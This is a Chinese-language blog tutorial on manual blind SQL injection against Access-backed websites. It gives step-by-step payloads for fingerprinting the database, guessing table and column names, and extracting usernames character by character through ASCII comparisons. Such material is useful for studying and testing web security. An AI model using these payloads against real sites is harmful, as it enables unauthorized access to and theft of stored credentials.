Access手动注入实战

注入ACCESS时,不能和MYSQL一样可以把表名爆出,只能一个一个去猜。

 

1.找到网站后,查看是否为ACCESS数据库。

    构造payload  URL+  and exists (select id from mysysaccessobjects) 返回正确,则为access数据库。

             and (select count(*) from msysobjects)>0    –返回权限不足为access数据库
             and (select count(*) from sysobjects)>0     –返回正常则为MSSQL数据库

    想法设法让他报错,错误信息中包含数据库信息。

            

2.进行and 1=1(显示正常) 与and1=2(报错)确实是注入点。 

3.URL + and 0<=(select count(*) from admin) and 1<2  查看返回结果,发现出错。说明没有admin这个表。 (使用参见的表名进行猜测)  and (select count(*) from admin) 即可

4.URL + and 0<=(select count(*) from manage) and 1<2      查看返货结果,反正正确页面。说明数据库中含有manage这个表。         and  (select count(*) from manage)   即可

  一个一个去尝试看看别的表名是什么。

5.确定manage这个表的存在,然后接下来判断表内有多少条记录数

      payload: and (select count(*) from 猜到的表名)>X(X是个数字,>我们也可以替换为=或<)。

       尝试: and (select count(*) from manage)>0  看是否返回正确页面。正确说明有 >0的记录数。然后继续修改X 确定有多少条记录数。 这里测试后只有一条记录。

6.知道manage 表中只有一个记录也就是只有一个列。然后猜测列名。

      payload : (select count(username) from manage)  猜测manage表中是否有username这个列。 然后把username 换成一些常用的password id等等去测试。

7.知道列名后,然后猜测字段长度。

        payload:使用语句and (select top 1 len(列) from 表)>X,`select top 1`是查询第一条数据的意思。(查询第二条字段长度必须先把第一条的字段值判断出来)

        payload:and (select top 1 len(username) from manage)>4 返回正确页面,说明第一个字段大于4

        payload:and (select top 1 len(username) from manage)>5 返回错误页面,说明第一个字段小于5 。结合说明第一个字段长度为5

8. 判断字段值

  payload:and (select top 1 asc(mid(字段名,X,1)) from 表名)>N,这个句子里的N和X都是数字。top 1还是是查询第一条数据的意思。

  asc()这个函数是用来得到()里的字符串的 ASCII码(什么是ASCII码呢?计算机内部采用二进制的方式计数,那么它为什么又能识别十进制数和各种字符、图形呢?

  其实,不论是数值数据还是文字、图形等,在计算机内部都采用了一种编码标准。通过编码标准可以把它转换成二进制数来进行处理,计算机将这些信息处理完毕再转换成可视的信息显示出来。常用的字符代码是 ASCII码,它原来是美国的国家标准,

  1967年被定为国际标准。),比如a所对应的ASCII码就是97。

  mid(字段名,A, N),这个函数是用来截取()里的字段从第A个长度起往后截取N个字,比如mid(username,2,3)就表示从username字段中从第二个字符向后截取3位,包括第二个字符,比如值为admin,截取的就是dmi。我们上面使用mid(字段名,X,1),

  最后面那个数字是1,但前面还有个asc()函数,asc()这个函数一下就只把一个字符转换成ASCII码,所以我们用mid()函数来截取列值的时候只截取一位。

    构造payload:  and (select top 1 asc(mid(username,1,1)) from manage)>96 页面返回正常页面  说明username列中的第一个字段往后的一位大于 96(转码之后)

           and (select top 1 asc(mid(username,1,1)) from manage)>97 页面返回错误页面,说明username列中的第一字段往后的一位不大于97(转码之后)。说明是97 ASCII转码之后是a

    然后在构造payload  :and (select top 1 asc(mid(username,2,1)) from manage)>97 继续猜测第二个字段。使用这个方法继续猜测之后的字段。能把所有的字段都爆出来。

 

     9.  有时候,我们会碰到汉字的数据,比如username中数据就是“管理员”,这时就不能使用ASCII码了

    10.用逐字猜解列值的方 法,有的时候是 >0 页面还是返回错误!不大于0就说晚这个值的ASCII码是负数,也就是汉字!这个时候我们要想得到它的ASCII码,就要用到一个函数了!abs()这个 函数是用来返回一个值的绝对值的!我们只要把这个函数加在句子里,就可以按照平常的方法猜ASCII码了。具体是这么加的:and (select top 1 abs(asc(mid(列,X,1))) from admin)>N就是这样了,不过等猜出来后不要忘了加负号。

    11.联合查询也可以尝试猜测。

posted @ 2018-05-03 13:19  G0mini  阅读(186)  评论(0编辑  收藏  举报